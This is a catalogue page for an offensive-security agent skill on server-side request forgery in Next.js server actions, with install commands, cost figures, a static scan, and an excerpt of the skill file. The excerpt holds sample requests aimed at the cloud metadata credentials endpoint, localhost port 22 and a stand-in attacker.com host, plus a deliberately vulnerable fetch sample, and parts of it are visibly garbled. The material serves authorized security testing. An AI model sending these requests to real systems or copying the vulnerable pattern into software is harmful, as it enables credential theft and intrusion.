ssrf-nextjs-server-actions

ssrf-nextjs-server-actions is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 46 tokens per session (1,092 once invoked), scanned B, original, Apache-2.0.

A security-testing guide for server-side request forgery (SSRF) in Next.js server actions and API routes. SSRF happens when a server fetches a URL chosen by a user.

In plain words
What is it for?
It is for auditing Next.js applications that fetch user-provided URLs, including previews, imports, and other server-side fetch operations.
Why use it?
It helps identify features that may let an outside user make requests into private networks or cloud metadata services.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is > - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain pat.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit It is for auditing Next.js applications that fetch user-provided URLs, including previews, imports, and other server-side fetch operations.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/ssrf-nextjs-server-actions

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for ssrf-nextjs-server-actions

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/ssrf-nextjs-server-actions/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/ssrf-nextjs-server-actions)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/ssrf-nextjs-server-actions"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/ssrf-nextjs-server-actions/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for ssrf-nextjs-server-actions

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/ssrf-nextjs-server-actions"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/ssrf-nextjs-server-actions.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 46 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,092 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00046 $0.01092
Opus 5 $0.00023 $0.00546
Sonnet 5 $0.00009 $0.00218
Haiku 4.5 $0.00005 $0.00109

Measured 9d ago against content hash aa7f7ee88567, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade B, and why

ssrf-nextjs-server-actions scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

[{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}]

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

// VULNERABLE const res = await fetch(url);
skills/bug-hunting/web-vulnerabilities/ssrf-nextjs-server-actions/SKILL.md · 140 lines

How it starts

The opening of the file, as written. The whole thing — 140 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SSRF via Next.js Server Actions

When to Use

  • When auditing modern web applications built using Next.js (React framework) that utilize Server Actions or custom API routes (/pages/api or /app/api).
  • To demonstrate how fetching external data based on user input on the server side can lead to SSRF, allowing access to internal networks or cloud metadata.

Prerequisites

  • Authorized scope and target URLs from bug bounty program
  • Burp Suite Professional (or Community) configured with browser proxy
  • Familiarity with OWASP Top 10 and common web vulnerability classes
  • SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Identifying Server Actions

# Concept: Next.js Server Actions ```

### Phase 2: Analyzing Request Payloads (Black Box)

```http
# POST / HTTP/1.1
Host: target.com
Content-Type: text/plain;charset=UTF-8
Next-Action: xxxxxxxx

[{"url": "https://attacker.com/image.png"}]

Phase 3: Code Review (White Box - if available)

# Sink: fetch() 'use server'

export async function fetchPreview(url) {
  // VULNERABLE const res = await fetch(url);
  const data = await res.text();
  return { preview: data.substring(0, 100) };
}

Phase 4: Exploitation

# POST / HTTP/1.1
Host: target.com
Content-Type: text/plain;charset=UTF-8
Next-Action: xxxxxxxx

[{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}]

# POST / HTTP/1.1
Host: target.com
Content-Type: text/plain;charset=UTF-8
Next-Action: xxxxxxxx

[{"url": "http://127.0.0.1:22"}]
Decision Point 🔀
flowchart TD
    A[Monitor Next-Action ] --> B{Accepts URL Input ]}
    B -->|Yes| C[Test internal ]
    B -->|No| D[Test parameter ]
    C --> E[Exfiltrate ]

🔵 Blue Team Detection & Defense

  • URL Allowlisting: - SSRF Protections (Network Level): Key Concepts | Concept | Description | |---------|-------------|

Output Format

Ssrf Nextjs Server Actions — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Read the full file on GitHub · 140 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 140 lines · 46 tokens per session scan B aa7f7ee88567

Subscribe to this mod's changes

ssrf-nextjs-server-actions is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 46 tokens to every session and 1,092 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it B with 2 findings (cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

nextjs-patterns

Next.js App Router — Server Components, Actions, streaming, caching. Use when building or migrating Next.js apps.

martineserios/thebrana · 28 tokens

javascript-prototype-pollution

Identify and exploit Prototype Pollution vulnerabilities in JavaScript applications to achieve client-side Cross-Site Scripting (XSS), bypass authentication, or execute Remote Code Execution (RCE) on Node.js servers by manipulating the core Object prototype.

ShulkwiSEC/bb-huge · 55 tokens

dom-based-xss

Exploit Document Object Model (DOM) Based Cross-Site Scripting (XSS) vulnerabilities. Unlike Reflected or Stored XSS, the attack payload is executed purely on the client-side as a result of modifying the DOM environment, often without the payload ever reaching the backend server.

ShulkwiSEC/bb-huge · 64 tokens

nextjs

Next.js App Router best practices — Server Components, data fetching, caching, routing, middleware, metadata, error handling, streaming, Server Actions, and performance optimization for Next.js 14-16+.

wpank/ai · 43 tokens

migrate-radix-to-base

Migrates React projects and components from Radix UI to Base UI. Use when asked to migrate from radix, move to base-ui, convert radix primitives, or switch a shadcn project's base library. Handles single components ("migrate accordion") and whole projects.

shadcn-ui/ui · 61 tokens

nextjs-app-router

Full end-to-end tRPC setup for Next.js App Router. Covers route handler with fetchRequestHandler (GET + POST exports), TRPCProvider with QueryClientProvider, createTRPCOptionsProxy for RSC prefetching, HydrateClient/HydrationBoundary for hydration, useSuspenseQuery for Suspense, and server-side callers.

trpc/trpc · 74 tokens